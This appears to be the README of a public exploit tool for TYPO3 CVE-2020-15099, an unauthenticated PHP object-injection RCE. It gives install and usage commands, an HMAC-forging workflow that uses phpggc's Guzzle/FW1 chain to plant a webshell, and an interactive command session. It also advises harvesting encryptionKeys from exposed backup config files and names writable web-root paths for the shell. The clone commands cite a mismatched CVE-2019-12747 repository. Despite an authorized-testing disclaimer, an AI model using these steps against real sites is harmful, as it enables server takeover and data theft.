Share
## https://sploitus.com/exploit?id=DBD5F08D-1EB8-5EA3-9691-8C4BF7E3C263
# TYPO3 CVE-2020-15099 โ€” Unauthenticated RCE

PHP Object Injection via the TYPO3 Form Framework frontend controller, exploitable when the `encryptionKey` is known.

## Vulnerability

TYPO3 versions **9.0.0 โ€“ 9.5.19** pass a user-controlled `__state` parameter through `unserialize()` after validating an HMAC signature. Because the HMAC is computed using the `encryptionKey` from `LocalConfiguration.php`, an attacker who obtains that key can forge a valid signature for an arbitrary serialized payload and achieve remote code execution โ€” **without any authentication**.

The vulnerable code path is in `FormRuntime.php`:

```php
$serializedFormState = $this->hashService->validateAndStripHmac($serializedFormStateWithHmac);
$this->formState = unserialize(base64_decode($serializedFormState));
```

The exploit uses the **Guzzle/FW1** gadget chain (available in [phpggc](https://github.com/ambionics/phpggc)) to write a PHP webshell to a publicly accessible directory.

**Reference:** [TYPO3-CORE-SA-2020-007](https://typo3.org/security/advisory/typo3-core-sa-2020-007) ยท [Synacktiv write-up](https://www.synacktiv.com/en/publications/typo3-leak-to-remote-code-execution)

---

## Requirements

| Requirement | Notes |
|---|---|
| Python 3.10+ | Uses `str \| None` union syntax |
| `requests` library | `pip install requests` |
| [phpggc](https://github.com/ambionics/phpggc) | Gadget chain generator |
| Docker with `php:7.2-cli` image | Required for correct payload serialization format |
| TYPO3 `encryptionKey` | Leaked via `LocalConfiguration.php` or a backup/`.old` file |
| A TYPO3 frontend form | Any unauthenticated form that uses the Form Framework |

> **Why PHP 7.2?**
> PHP serializes objects differently across major versions. TYPO3 9.x runs on PHP 7.2, so the gadget chain payload must be generated with PHP 7.2. Using PHP 8.x produces a payload that silently fails. The script uses `docker run php:7.2-cli` by default to guarantee the correct format.

---

## Installation

```bash
# Clone this repository
git clone https://github.com/youruser/typo3-cve-2019-12747
cd typo3-cve-2019-12747

# Install Python dependencies
pip install requests

# Clone phpggc
git clone https://github.com/ambionics/phpggc

# Pull the PHP 7.2 Docker image
sudo docker pull php:7.2-cli
```

---

## Usage

```
python3 typo3_exploit.py [options]

Required:
  --target        Base URL of the TYPO3 instance        (e.g. http://target.com)
  --key           TYPO3 encryptionKey                   (96-char hex string)
  --form-id       Page ID of the page containing form   (e.g. 38)
  --form-name     Form identifier attribute             (e.g. contactForm-144)
  --phpggc-dir    Path to phpggc directory              (e.g. ./phpggc)
  --remote-path   Absolute server path for the shell    (e.g. /var/www/html/public/fileadmin/_temp_/shell.php)
  --shell-url     Public URL to access the shell        (e.g. http://target.com/fileadmin/_temp_/shell.php)

Optional:
  --shell-local   Local temp path for shell file        (default: /tmp/typo3_shell.php)
  --no-docker     Use local PHP binary instead of Docker
  --php-bin       Path to PHP 7.2 binary                (default: php, used with --no-docker)
  --timeout       HTTP request timeout in seconds       (default: 30)
  --sleep         Wait time after exploit before check  (default: 3)
  --no-shell      Exit after uploading, skip interactive session
```

### Example

```bash
python3 typo3_exploit.py \
  --target http://target.com \
  --key 712dd4d9c583482940b75514e31400c11bdcbc7374c8e62fff958fcd80e8353490b0fdcf4d0ee25b40cf81f523609c0b \
  --form-id 38 \
  --form-name contactForm-144 \
  --phpggc-dir ./phpggc \
  --remote-path /var/www/html/public/fileadmin/_temp_/shell.php \
  --shell-url http://target.com/fileadmin/_temp_/shell.php
```

### Using a local PHP 7.2 binary instead of Docker

```bash
python3 typo3_exploit.py \
  --target http://target.com \
  --key  \
  --form-id 38 \
  --form-name contactForm-144 \
  --phpggc-dir ./phpggc \
  --remote-path /var/www/html/public/fileadmin/_temp_/shell.php \
  --shell-url http://target.com/fileadmin/_temp_/shell.php \
  --no-docker \
  --php-bin /usr/bin/php7.2
```

---

## How it works

```
1. Fetch the form page
   โ†’ Extract fresh cHash (required by TYPO3 for cache validation)
   โ†’ Extract __trustedProperties (prevents BadRequestException)

2. Generate the gadget chain payload
   โ†’ phpggc Guzzle/FW1 writes the shell to --remote-path on the server
   โ†’ Must be generated with PHP 7.2 (Docker used by default)

3. Sign the payload
   โ†’ TYPO3 uses hash_hmac('sha1', payload, encryptionKey)
   โ†’ Appended as a 40-character hex suffix

4. POST the payload
   โ†’ Sent as tx_form_formframework[][__state]
   โ†’ Server validates HMAC, then calls unserialize()
   โ†’ Guzzle's __destruct() triggers and writes the shell file
   โ†’ HTTP 500 response is expected and normal

5. Verify and interact
   โ†’ Shell is accessed via GET ?cmd=
   โ†’ Interactive session is started
```

---

## Finding the required parameters

### `--key` โ€” encryptionKey

Look for exposed configuration files:
```
/typo3conf/LocalConfiguration.php       โ† main config (usually protected)
/typo3conf/LocalConfiguration.old       โ† backup, sometimes world-readable
/typo3conf/LocalConfiguration.bak
```

The key is a 96-character hex string:
```php
'encryptionKey' => '712dd4d9c583482940b7...',
```

### `--form-id` โ€” Page ID

Browse the TYPO3 frontend and find a page with a Form Framework form. The page ID is in the URL:
```
http://target.com/index.php?id=38
```

### `--form-name` โ€” Form identifier

View the page source and search for `tx_form_formframework`:
```html

```
The form name is `contactForm-144`.

### `--remote-path` โ€” Server-side write path

The path must be:
- Writable by the web server process
- Inside the web root (so the shell is accessible via HTTP)

Common writable TYPO3 directories:
```
/var/www/html/public/fileadmin/_temp_/
/var/www/html/public/fileadmin/user_upload/
/var/www/html/public/typo3temp/
```

If you are unsure of the server's document root, you can embed a path-discovery payload in the shell before running the exploit:
```php

```

---

## Troubleshooting

| Symptom | Likely cause | Fix |
|---|---|---|
| Shell not found after exploit | Wrong `--remote-path` | Try other common paths |
| Shell not found after exploit | PHP version mismatch | Ensure Docker is used or use PHP 7.2 |
| HMAC validation error (500 with no write) | Wrong `--key` | Double-check the encryptionKey |
| phpggc fails | Incompatible gadget chains in phpggc | Delete non-Guzzle chains: `find phpggc/gadgetchains -mindepth 1 -maxdepth 1 -type d ! -name Guzzle -exec rm -rf {} +` |
| Docker permission denied | Docker requires sudo | Run with `sudo` or add user to `docker` group |
| cHash not found | Form page requires authentication or different URL | Check the page manually |

---

## Disclaimer

This tool is provided for **authorized security testing and educational purposes only**.
Use only against systems you own or have explicit written permission to test.
The author is not responsible for any misuse or damage caused by this tool.

---

## References

- [TYPO3 Security Advisory TYPO3-CORE-SA-2020-007](https://typo3.org/security/advisory/typo3-core-sa-2020-007)
- [Synacktiv โ€” TYPO3: Leak to Remote Code Execution](https://www.synacktiv.com/en/publications/typo3-leak-to-remote-code-execution)
- [phpggc โ€” PHP Generic Gadget Chains](https://github.com/ambionics/phpggc)
- [CVE-2020-15099](https://nvd.nist.gov/vuln/detail/CVE-2020-15099)